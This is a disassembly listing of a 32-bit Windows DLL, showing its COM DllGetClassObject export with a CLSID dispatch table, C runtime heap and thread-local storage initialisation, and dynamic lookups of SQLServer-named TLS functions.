loc_69B1C484:				; CODE XREF: sub_69B1C469+Ej
		mov	eax, dword_69B92984
		test	eax, eax
		jz	short loc_69B1C498
		push	eax		; lpMem
		push	0		; dwFlags
		push	hHeap		; hHeap
		call	esi ; HeapFree


loc_69B1C498:				; CODE XREF: sub_69B1C469+22j
		pop	esi
		retn
sub_69B1C469	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B11383


loc_69B1C49A:				; CODE XREF: sub_69B11383+B173j
		cmp	eax, 3
		jnz	short loc_69B1C4FC
		jmp	loc_69B24EA0
; ---------------------------------------------------------------------------


loc_69B1C4A4:				; CODE XREF: sub_69B11383+48j
		cmp	[ebp-2Ah], si
		jnz	loc_69B24DA9


loc_69B1C4AE:				; CODE XREF: sub_69B11383+13A2Bj
					; sub_69B11383+13AA7j ...
		xor	ebx, ebx


loc_69B1C4B0:				; CODE XREF: sub_69B11383+B194j
		lea	eax, [ebx+ebx*8]
		mov	ecx, dword_69B96020
		lea	esi, [ecx+eax*4]
		cmp	dword ptr [esi], 0FFFFFFFFh
		jnz	short loc_69B1C538
		mov	byte ptr [esi+4], 81h
		test	ebx, ebx
		jz	short loc_69B1C52D
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_69B1C4D3:				; CODE XREF: sub_69B11383+B1ADj
		push	eax		; nStdHandle
		call	ds:GetStdHandle	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_69B1C532
		push	edi		; hFile
		call	ds:GetFileType	; GetFileType
		test	eax, eax
		jz	short loc_69B1C532
		mov	[esi], edi
		and	eax, 0FFh
		cmp	eax, 2
		jnz	short loc_69B1C49A
		or	byte ptr [esi+4], 40h


loc_69B1C4FC:				; CODE XREF: sub_69B11383+B11Aj
					; sub_69B11383+13B21j
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B19C19
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_69B1C53E
		inc	dword ptr [esi+8]


loc_69B1C513:				; CODE XREF: sub_69B11383+B1B3j
					; sub_69B11383+B1B9j
		inc	ebx
		cmp	ebx, 3
		jl	short loc_69B1C4B0
		push	uNumber		; uNumber
		call	ds:SetHandleCount	; SetHandleCount
		xor	eax, eax


loc_69B1C527:				; CODE XREF: sub_69B11383+B1BEj
					; sub_69B24EAD+9j
		call	sub_69B1853C
		retn
; ---------------------------------------------------------------------------


loc_69B1C52D:				; CODE XREF: sub_69B11383+B144j
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_69B1C4D3
; ---------------------------------------------------------------------------


loc_69B1C532:				; CODE XREF: sub_69B11383+B15Cj
					; sub_69B11383+B167j
		or	byte ptr [esi+4], 40h
		jmp	short loc_69B1C513
; ---------------------------------------------------------------------------


loc_69B1C538:				; CODE XREF: sub_69B11383+B13Cj
		or	byte ptr [esi+4], 80h
		jmp	short loc_69B1C513
; ---------------------------------------------------------------------------


loc_69B1C53E:				; CODE XREF: sub_69B11383+2Bj
					; sub_69B11383+B18Bj ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_69B1C527
; END OF FUNCTION CHUNK	FOR sub_69B11383
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR DllGetClassObject


loc_69B1C543:				; CODE XREF: DllGetClassObject+45j
		add	ebx, 10h
		jmp	short loc_69B1C572
; END OF FUNCTION CHUNK	FOR DllGetClassObject
; Exported entry  14. DllGetClassObject

; =============== S U B	R O U T	I N E =======================================


; HRESULT __stdcall DllGetClassObject(const CLSID *const rclsid, const IID *const riid,	LPVOID *ppv)
		public DllGetClassObject

DllGetClassObject proc near

rclsid		= dword	ptr  4
riid		= dword	ptr  8
ppv		= dword	ptr  0Ch

; FUNCTION CHUNK AT 69B1C543 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 69B22925 SIZE 00000066 BYTES

		push	20h
		push	offset dword_69B1C860
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edx, edx
		cmp	eax, edx
		jz	loc_69B22925
		mov	[ebp-20h], edx
		mov	[ebp-4], edx
		mov	ebx, offset off_69B1C630


loc_69B1C572:				; CODE XREF: DllGetClassObject-2j
		mov	[ebp-24h], ebx
		cmp	[ebx], edx
		jz	loc_69B1C606
		mov	edi, [ebx+4]
		mov	[ebp-28h], edi
		push	4
		pop	ecx
		mov	esi, [ebp+8]
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B1C543
		push	4
		pop	ecx
		mov	edi, offset dword_69B12178
		mov	esi, [ebp+8]
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B1C5EA
		cmp	byte_69B92998, al
		jnz	short loc_69B1C5EA
		push	dword_69B929E8
		lea	ecx, [ebp-2Ch]
		call	sub_69B18E23
		cmp	byte_69B92998, 0
		jnz	short loc_69B1C5E2
		call	sub_69B1889C
		call	sub_69B1D4E5
		call	sub_69B1BB42
		mov	byte_69B92998, 1
		cmp	dword_69B9296C,	0
		jnz	loc_69B2292F


loc_69B1C5E2:				; CODE XREF: DllGetClassObject+75j
					; DllGetClassObject+63FBj
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C


loc_69B1C5EA:				; CODE XREF: DllGetClassObject+56j
					; DllGetClassObject+5Ej
		cmp	dword_69B9296C,	0
		jnz	loc_69B22948


loc_69B1C5F7:				; CODE XREF: DllGetClassObject+6425j
					; DllGetClassObject+6432j
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	sub_69B1CA20
		mov	[ebp-20h], eax


loc_69B1C606:				; CODE XREF: DllGetClassObject+2Fj
		cmp	dword ptr [ebx], 0
		jz	loc_69B2297F


loc_69B1C60F:				; CODE XREF: DllGetClassObject+643Ej
					; sub_69B22994+18j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_69B1C622
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944


loc_69B1C622:				; CODE XREF: DllGetClassObject+CFj
		mov	eax, [ebp-20h]


loc_69B1C625:				; CODE XREF: DllGetClassObject+63E2j
		call	sub_69B1853C
		retn	0Ch
DllGetClassObject endp

; ---------------------------------------------------------------------------
		align 10h
off_69B1C630	dd offset off_69B1C90C	; DATA XREF: DllGetClassObject+25o
		dd offset loc_69B1C9D0
		dd offset sub_69B1D617
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B12128
		dd offset sub_69B1D617
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C86C
		dd offset sub_69B1D617
		align 10h
		dd offset off_69B1C90C
		dd offset byte_69B1C9C0
		dd offset sub_69B3D099
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B12158
		dd offset sub_69B3D099
		align 10h
		dd offset off_69B1C90C
		dd offset stru_69B12148
		dd offset sub_69B3D099
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C920
		dd offset sub_69B3D0C6
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C930
		dd offset sub_69B3D0C6
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C940
		dd offset sub_69B3D0C6
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C990
		dd offset sub_69B3CF5C
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C9E0
		dd offset sub_69B3D1DE
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B12178
		dd offset sub_69B3D1DE
		align 10h
		dd offset off_69B1C90C
		dd offset stru_69B12168
		dd offset sub_69B3D1DE
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C9F0
		dd offset loc_69B779BC
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C88C
		dd offset loc_69B779BC
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C87C
		dd offset loc_69B779BC
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C950
		dd offset sub_69B80057
		dd 1
		dd offset off_69B1C90C
		dd offset dword_69B1C960
		dd offset sub_69B80057
		dd 1
		dd offset off_69B1C90C
		dd offset dword_69B14600
		dd offset sub_69B80057
		dd 1
		dd offset off_69B1C90C
		dd offset dword_69B1C970
		dd offset sub_69B7EA18
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C980
		dd offset sub_69B7EA18
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B14600+10h
		dd offset sub_69B7EA18
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1CA00
		dd offset sub_69B7DFAE
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C8CC
		dd offset sub_69B7DFAE
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C8BC
		dd offset sub_69B7DFAE
		align 10h
		dd offset off_69B1C90C
		dd offset loc_69B1CA10
		dd offset sub_69B3D05C
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B12128+10h
		dd offset sub_69B3D05C
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C8FC
		dd offset sub_69B3D05C
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C9A0
		dd offset sub_69B5FE43
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C9B0
		dd offset sub_69B5FE43
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C8EC
		dd offset sub_69B3CE6E
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C8DC
		dd offset sub_69B3CE6E
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C8AC
		dd offset loc_69B3BB9A
		align 10h
		dd offset off_69B1C90C
		dd offset dword_69B1C89C
		dd offset loc_69B3BB9A
		dd 5 dup(0)
dword_69B1C860	dd 0FFFFFFFFh			dd offset sub_69B2298B
		dd offset sub_69B22994
dword_69B1C86C	dd 0F5078F22h, 11D3C551h, 0B989h, 21E21FF8hdword_69B1C87C	dd 0F5078F1Fh, 11D3C551h, 0B989h, 21E21FF8hdword_69B1C88C	dd 0F6D90F14h, 11D39C73h, 0C0002EB3h, 0B40B994Fh
					; DATA XREF: .text:69B1C714o
dword_69B1C89C	dd 0F5078F21h, 11D3C551h, 0B989h, 21E21FF8hdword_69B1C8AC	dd 2933BF94h, 11D27B36h, 0C0000EB2h, 603E984Fhdword_69B1C8BC	dd 0F5078F1Eh, 11D3C551h, 0B989h, 21E21FF8hdword_69B1C8CC	dd 0F6D90F16h, 11D39C73h, 0C0002EB3h, 0B40B994Fh
					; DATA XREF: .text:69B1C7A4o
dword_69B1C8DC	dd 0F5078F1Dh, 11D3C551h, 0B989h, 21E21FF8hdword_69B1C8EC	dd 373984C9h, 449BB845h, 0AC45E791h, 0DE6A0383hdword_69B1C8FC	dd 0F5078F1Ch, 11D3C551h, 0B989h, 21E21FF8hoff_69B1C90C	dd offset sub_69B1CA20	; DATA XREF: .text:off_69B1C630o
					; .text:69B1C640o ...
		dd offset sub_69B1EC38
		dd offset sub_69B1EC38
		dd offset sub_69B1E7D2
		dd offset sub_69B2C55A
dword_69B1C920	dd 379E501Fh, 11D1B231h, 8000C1ADh, 0D852C75Fhdword_69B1C930	dd 0F6D90F13h, 11D39C73h, 0C0002EB3h, 0B40B994Fh
					; DATA XREF: .text:69B1C6A4o
dword_69B1C940	dd 0F5078F25h, 11D3C551h, 0B989h, 21E21FF8hdword_69B1C950	dd 48123BC4h, 11D199D9h, 0C000B3A6h, 5515D94Fhdword_69B1C960	dd 0F6D90F15h, 11D39C73h, 0C0002EB3h, 0B40B994Fh
					; DATA XREF: .text:69B1C744o
dword_69B1C970	dd 7E3FCEA1h, 11D231B4h, 80001FAEh, 0A17E33C7hdword_69B1C980	dd 0F5078F1Ah, 11D3C551h, 0B989h, 21E21FF8hdword_69B1C990	dd 989D1DC0h, 11D1B162h, 7DD2ECB6h, 23A9F9DChdword_69B1C9A0	dd 0F5078F27h, 11D3C551h, 0B989h, 21E21FF8hdword_69B1C9B0	dd 0F5078F26h, 11D3C551h, 0B989h, 21E21FF8hbyte_69B1C9C0	db 90h			; DATA XREF: .text:69B1C664o
; ---------------------------------------------------------------------------
		mov	edi, 7B362933h
		rcl	byte ptr [ecx],	cl
		mov	dl, 0Eh
		add	al, al
		dec	edi
		cwde
		db	3Eh
		pusha


loc_69B1C9D0:				; DATA XREF: .text:69B1C634o
		scasd
		cdq
		retn
; ---------------------------------------------------------------------------
		db 0CFh
		dd 11D0D876h, 0C000109Ch, 8E9CC94Fh
dword_69B1C9E0	dd 0D2423620h, 11D251A0h, 6000AF9Ch, 393DECB0hdword_69B1C9F0	dd 550DDA30h, 11D20541h, 6000A99Ch, 393DECB0hdword_69B1CA00	dd 0ED8C108Eh, 11D24349h, 0C000A491h, 0E869794Fh
					; DATA XREF: .text:69B1C794o
; ---------------------------------------------------------------------------


loc_69B1CA10:				; DATA XREF: .text:69B1C7C4o
		xchg	eax, ecx
		mov	edi, 7B362933h
		rcl	byte ptr [ecx],	cl
		mov	dl, 0Eh
		add	al, al
		dec	edi
		cwde
		db	3Eh
		pusha

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1CA20	proc near		; CODE XREF: DllGetClassObject+B6p
					; .text:69B2C579j
					; DATA XREF: ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 69B22B5B SIZE 00000010 BYTES

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset stru_69B1CA6C
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B1CA4B
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B1CA5C
		xor	eax, eax
		repe cmpsd
		jnz	loc_69B22B5B


loc_69B1CA4B:				; CODE XREF: sub_69B1CA20+14j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		xor	eax, eax


loc_69B1CA55:				; CODE XREF: sub_69B1CA20+6146j
		pop	edi
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B1CA20	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B1CA5C	dd 1, 0				dd 0C0h, 46000000h
; IID stru_69B1CA6C
stru_69B1CA6C	dd 0			; Data1	; DATA XREF: sub_69B19B6A+Bo
					; sub_69B1CA20+Bo ...
		dw 0			; Data2
		dw 0			; Data3
		db 0C0h, 6 dup(0), 46h	; Data4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_69B1CA7C	proc near		; CODE XREF: sub_69B1ABCC+18p

VersionInformation= _OSVERSIONINFOA ptr	-9Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 69B22C8B SIZE 00000081 BYTES

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 9Ch
		mov	eax, dword_69B92170
		xor	eax, [ebp+7Ch]
		cmp	dword_69B92968,	0
		push	ebx
		push	esi
		mov	esi, ds:GetProcAddress
		mov	[ebp+78h+var_4], eax
		push	edi
		jnz	loc_69B1CBA8
		push	0
		call	ds:SHLWAPI_83
		mov	edi, eax
		test	edi, edi
		mov	dword_69B92968,	1
		jz	loc_69B1CBA8
		push	offset ProcName	; "_TlsGetValueSQLServer@4"
		push	edi		; hModule
		call	esi ; GetProcAddress
		push	offset a_tlssetvaluesq ; "_TlsSetValueSQLServer@8"
		push	edi		; hModule
		mov	ebx, eax
		call	esi ; GetProcAddress
		push	offset a_tlssetvalueex ; "_TlsSetValueExSQLServer@12"
		push	edi		; hModule
		mov	[ebp+78h+var_8], eax
		call	esi ; GetProcAddress
		test	ebx, ebx
		jnz	loc_69B22C8B


loc_69B1CAE9:				; CODE XREF: sub_69B1CA7C+6218j
		and	dword_69B9296C,	0


loc_69B1CAF0:				; CODE XREF: sub_69B1CA7C+139j
		mov	eax, ds:TlsGetValue
		and	dword_69B9297C,	0
		mov	dword_69B92970,	eax
		mov	eax, ds:TlsSetValue
		mov	dword_69B92974,	eax


loc_69B1CB0B:				; CODE XREF: sub_69B1CA7C+133j
		mov	dword_69B92948,	offset sub_69B19BB4
		mov	dword_69B92944,	offset sub_69B1E818
		call	ds:TlsAlloc	; TlsAlloc
		mov	dwTlsIndex, eax
		lea	eax, [ebp+78h+VersionInformation]
		push	eax		; lpVersionInformation
		mov	[ebp+78h+VersionInformation.dwOSVersionInfoSize], 94h
		call	ds:GetVersionExA	; GetVersionExA
		test	eax, eax
		jz	loc_69B22CDF


loc_69B1CB43:				; CODE XREF: sub_69B1CA7C+6268j
		mov	eax, [ebp+78h+VersionInformation.dwPlatformId]
		cmp	eax, 1
		mov	dword_69B92954,	eax
		jz	loc_69B22CE9
		push	offset ModuleName ; "kernel32.dll"
		call	ds:GetModuleHandleA	; GetModuleHandleA
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B1CBBA
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	edi		; hModule
		call	esi ; GetProcAddress
		test	eax, eax
		mov	dword_69B92950,	eax
		jz	loc_69B22D02


loc_69B1CB7A:				; CODE XREF: sub_69B1CA7C+628Bj
		push	offset aInterlockedexc ; "InterlockedExchangeAdd"
		push	edi		; hModule
		call	esi ; GetProcAddress
		test	eax, eax
		mov	dword_69B9294C,	eax
		jz	short loc_69B1CBBA


loc_69B1CB8B:				; CODE XREF: sub_69B1CA7C+143j
					; sub_69B1CA7C+6281j
		call	sub_69B1CC44
		mov	ecx, [ebp+78h+var_4]
		xor	ecx, [ebp+7Ch]
		pop	edi
		pop	esi
		mov	dword_69B92958,	eax
		pop	ebx
		call	sub_69B1B9F6
		add	ebp, 78h
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B1CBA8:				; CODE XREF: sub_69B1CA7C+26j
					; sub_69B1CA7C+42j ...
		cmp	dword_69B9296C,	0
		jnz	loc_69B1CB0B
		jmp	loc_69B1CAF0
; ---------------------------------------------------------------------------


loc_69B1CBBA:				; CODE XREF: sub_69B1CA7C+E7j
					; sub_69B1CA7C+10Dj
		call	sub_69B2E925
		jmp	short loc_69B1CB8B
sub_69B1CA7C	endp

; ---------------------------------------------------------------------------
		align 4
; char aInterlockedexc[]
aInterlockedexc	db 'InterlockedExchangeAdd',0 ; DATA XREF: sub_69B1CA7C:loc_69B1CB7Ao
		align 4
; char aInterlockedcom[]
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_69B1CA7C+E9o
		align 4
; char a_tlssetvalueex[]
a_tlssetvalueex	db '_TlsSetValueExSQLServer@12',0 ; DATA XREF: sub_69B1CA7C+5Ao
		align 4
; char a_tlssetvaluesq[]
a_tlssetvaluesq	db '_TlsSetValueSQLServer@8',0 ; DATA XREF: sub_69B1CA7C+50o
; char ProcName[]
ProcName	db '_TlsGetValueSQLServer@4',0 ; DATA XREF: sub_69B1CA7C+48o

; =============== S U B	R O U T	I N E =======================================



sub_69B1CC44	proc near		; CODE XREF: sub_69B19BC1+Ej
					; sub_69B1CA7C:loc_69B1CB8Bp

; FUNCTION CHUNK AT 69B1CCB9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 69B22BF1 SIZE 0000009A BYTES

		push	ebx
		xor	ebx, ebx
		cmp	dword_69B92964,	ebx
		push	esi
		jnz	loc_69B22BF1


loc_69B1CC54:				; CODE XREF: sub_69B1CC44+5FB3j
					; sub_69B1CC44+5FEBj
		push	464h
		call	sub_69B1127C
		cmp	eax, ebx
		jz	short loc_69B1CCB5
		mov	ecx, eax
		call	sub_69B1CCBF
		mov	esi, eax


loc_69B1CC6B:				; CODE XREF: sub_69B1CC44+73j
		cmp	esi, ebx
		jz	loc_69B22C59


loc_69B1CC73:				; CODE XREF: sub_69B1CC44+79j
		push	edi


loc_69B1CC74:				; CODE XREF: sub_69B1CC44+4Dj
		mov	eax, dword_69B9295C
		mov	[esi+14h], eax
		mov	edi, dword_69B9295C
		push	edi
		push	esi
		push	offset dword_69B9295C
		call	dword_69B92950	; InterlockedCompareExchange
		cmp	eax, edi
		jnz	short loc_69B1CC74
		pop	edi


loc_69B1CC94:				; CODE XREF: sub_69B1CC44+77j
					; sub_69B1CC44+6010j ...
		push	esi
		push	dwTlsIndex
		call	dword_69B92974
		cmp	esi, ebx
		jz	short loc_69B1CCB0
		lea	eax, [esi+38h]
		cmp	[eax], ebx
		jnz	loc_69B22C80


loc_69B1CCB0:				; CODE XREF: sub_69B1CC44+5Fj
					; sub_69B1CC44+6042j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_69B1CCB5:				; CODE XREF: sub_69B1CC44+1Cj
		xor	esi, esi
		jmp	short loc_69B1CC6B
sub_69B1CC44	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1CC44


loc_69B1CCB9:				; CODE XREF: sub_69B1CC44+6037j
		cmp	esi, ebx
		jz	short loc_69B1CC94
		jmp	short loc_69B1CC73
; END OF FUNCTION CHUNK	FOR sub_69B1CC44

; =============== S U B	R O U T	I N E =======================================



sub_69B1CCBF	proc near		; CODE XREF: sub_69B1CC44+20p
		push	esi
		mov	esi, ecx
		call	sub_69B1CCCB
		mov	eax, esi
		pop	esi
		retn
sub_69B1CCBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1CCCB	proc near		; CODE XREF: sub_69B1CCBF+3p
					; sub_69B2D585+Fj
		push	esi
		push	edi
		mov	edi, ds:GetCurrentProcess
		push	0		; dwOptions
		push	0		; bInheritHandle
		mov	esi, ecx
		push	4Ah		; dwDesiredAccess
		lea	eax, [esi+10h]
		push	eax		; lpTargetHandle
		call	edi ; GetCurrentProcess
		push	eax		; hTargetProcessHandle
		call	ds:GetCurrentThread	; GetCurrentThread
		push	eax		; hSourceHandle
		call	edi ; GetCurrentProcess
		push	eax		; hSourceProcessHandle
		call	ds:DuplicateHandle	; DuplicateHandle
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		mov	[esi+40h], eax
		mov	byte ptr [esi+44h], 0
		mov	[esi+4], esi
		mov	[esi+0Ch], esi
		call	sub_69B1CD17
		pop	edi
		mov	[esi+3Ch], eax
		mov	dword ptr [esi+2Ch], 1
		pop	esi
		retn
sub_69B1CCCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1CD17	proc near		; CODE XREF: sub_69B1CCCB+3Ap
		mov	eax, large fs:18h
		retn
sub_69B1CD17	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1CD1E	proc near		; CODE XREF: sub_69B1B625+99p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B25003 SIZE 00000022 BYTES

		xor	eax, eax
		cmp	[esp+arg_0], eax
		push	0		; dwMaximumSize
		setz	al
		push	1000h		; dwInitialSize
		push	eax		; flOptions
		call	ds:HeapCreate	; HeapCreate
		test	eax, eax
		mov	dword_69B96000,	eax
		jz	loc_69B25022
		call	sub_69B1CD59
		cmp	eax, 3
		mov	dword_69B96004,	eax
		jz	loc_69B25003


loc_69B1CD55:				; CODE XREF: sub_69B1CD1E+82F2j
		xor	eax, eax
		inc	eax
		retn
sub_69B1CD1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1CD59	proc near		; CODE XREF: sub_69B1CD1E+24p
		cmp	dword_69B95AFC,	2
		jnz	short loc_69B1CD6F
		cmp	dword_69B95B08,	5
		jb	short loc_69B1CD6F
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_69B1CD6F:				; CODE XREF: sub_69B1CD59+7j
					; sub_69B1CD59+10j
		push	3
		pop	eax
		retn
sub_69B1CD59	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1CD73	proc near		; CODE XREF: sub_69B1B625+A7p

; FUNCTION CHUNK AT 69B24D13 SIZE 0000000F BYTES

		call	sub_69B19BD6
		test	eax, eax
		jz	loc_69B24D13
		push	esi
		push	edi
		push	offset ModuleName ; "kernel32.dll"
		call	ds:GetModuleHandleA	; GetModuleHandleA
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B1CDFE
		mov	esi, ds:GetProcAddress
		push	offset aFlsalloc ; "FlsAlloc"
		push	edi		; hModule
		call	esi ; GetProcAddress
		push	offset aFlsgetvalue ; "FlsGetValue"
		push	edi		; hModule
		mov	dword_69B95B2C,	eax
		call	esi ; GetProcAddress
		push	offset aFlssetvalue ; "FlsSetValue"
		push	edi		; hModule
		mov	dword_69B95B30,	eax
		call	esi ; GetProcAddress
		push	offset aFlsfree	; "FlsFree"
		push	edi		; hModule
		mov	dword_69B95B34,	eax
		call	esi ; GetProcAddress
		cmp	dword_69B95B30,	0
		mov	dword_69B95B38,	eax
		jnz	short loc_69B1CDFE
		mov	eax, ds:TlsGetValue
		mov	dword_69B95B30,	eax
		mov	eax, ds:TlsSetValue
		mov	dword_69B95B34,	eax
		mov	eax, ds:TlsFree
		mov	dword_69B95B2C,	offset loc_69B112B7
		mov	dword_69B95B38,	eax


loc_69B1CDFE:				; CODE XREF: sub_69B1CD73+1Ej
					; sub_69B1CD73+61j
		push	offset sub_69B84DFA
		call	dword_69B95B2C
		cmp	eax, 0FFFFFFFFh
		mov	dword_69B9267C,	eax
		jz	short loc_69B1CE54
		xor	edi, edi
		inc	edi
		mov	edx, 8Ch
		mov	ecx, edi
		call	sub_69B1CE89
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B1CE54
		push	esi
		push	dword_69B9267C
		call	dword_69B95B34
		test	eax, eax
		jz	short loc_69B1CE54
		mov	dword ptr [esi+54h], offset dword_69B927B8
		mov	[esi+14h], edi
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		mov	eax, edi


loc_69B1CE51:				; CODE XREF: sub_69B1CD73+7FAAj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B1CE54:				; CODE XREF: sub_69B1CD73+9Ej
					; sub_69B1CD73+B3j ...
		call	sub_69B11F44
		jmp	loc_69B24D1B
sub_69B1CD73	endp

; ---------------------------------------------------------------------------
		align 10h
; char aFlsfree[]
aFlsfree	db 'FlsFree',0          ; DATA XREF: sub_69B1CD73+48o
; char aFlssetvalue[]
aFlssetvalue	db 'FlsSetValue',0      ; DATA XREF: sub_69B1CD73+3Bo
; char aFlsgetvalue[]
aFlsgetvalue	db 'FlsGetValue',0      ; DATA XREF: sub_69B1CD73+2Eo
; char aFlsalloc[]
aFlsalloc	db 'FlsAlloc',0         ; DATA XREF: sub_69B1CD73+26o

; =============== S U B	R O U T	I N E =======================================



sub_69B1CE89	proc near		; CODE XREF: sub_69B1CD73+AAp
					; sub_69B1B625+95A1p ...

; FUNCTION CHUNK AT 69B1CEAD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 69B24D89 SIZE 00000020 BYTES

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, edx
		mov	ebp, ecx
		xor	esi, esi


loc_69B1CE93:				; CODE XREF: sub_69B1CE89+29j
		push	ebx
		push	ebp
		call	sub_69B1CEB6
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jz	loc_69B24D89


loc_69B1CEA6:				; CODE XREF: sub_69B1CE89+2Bj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_69B1CE89	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1CE89


loc_69B1CEAD:				; CODE XREF: sub_69B1CE89+7F12j
					; sub_69B1CE89+7F1Bj
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_69B1CE93
		jmp	short loc_69B1CEA6
; END OF FUNCTION CHUNK	FOR sub_69B1CE89

; =============== S U B	R O U T	I N E =======================================



sub_69B1CEB6	proc near		; CODE XREF: sub_69B1CE89+Cp

; FUNCTION CHUNK AT 69B1CF10 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 69B252D9 SIZE 00000079 BYTES

		push	10h
		push	offset dword_69B1CF18
		call	sub_69B19C5C
		mov	esi, [ebp+8]
		imul	esi, [ebp+0Ch]
		mov	[ebp-1Ch], esi
		test	esi, esi
		jz	loc_69B252D9


loc_69B1CED4:				; CODE XREF: sub_69B1CEB6+5Dj
					; sub_69B1CEB6+8424j
		xor	edx, edx
		mov	[ebp-20h], edx
		cmp	esi, 0FFFFFFE0h
		ja	short loc_69B1CF00
		cmp	dword_69B96004,	3
		jz	loc_69B252DF


loc_69B1CEEB:				; CODE XREF: sub_69B1CEB6+843Bj
					; sub_69B1CEB6+8480j
		test	edx, edx
		jnz	short loc_69B1CF08


loc_69B1CEEF:				; CODE XREF: sub_69B1CEB6+8465j
		push	esi		; dwBytes
		push	8		; dwFlags
		push	dword_69B96000	; hHeap
		call	ds:HeapAlloc
		mov	edx, eax


loc_69B1CF00:				; CODE XREF: sub_69B1CEB6+26j
		test	edx, edx
		jz	loc_69B2533B


loc_69B1CF08:				; CODE XREF: sub_69B1CEB6+37j
					; sub_69B1CEB6+848Bj
		mov	eax, edx


loc_69B1CF0A:				; CODE XREF: sub_69B1CEB6+5Fj
		call	sub_69B1853C
		retn
sub_69B1CEB6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1CEB6


loc_69B1CF10:				; CODE XREF: sub_69B1CEB6+8497j
		pop	ecx
		test	eax, eax
		jnz	short loc_69B1CED4
		jmp	short loc_69B1CF0A
; END OF FUNCTION CHUNK	FOR sub_69B1CEB6
; ---------------------------------------------------------------------------
		align 4
dword_69B1CF18	dd 0FFFFFFFFh, 0		dd offset sub_69B25352

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


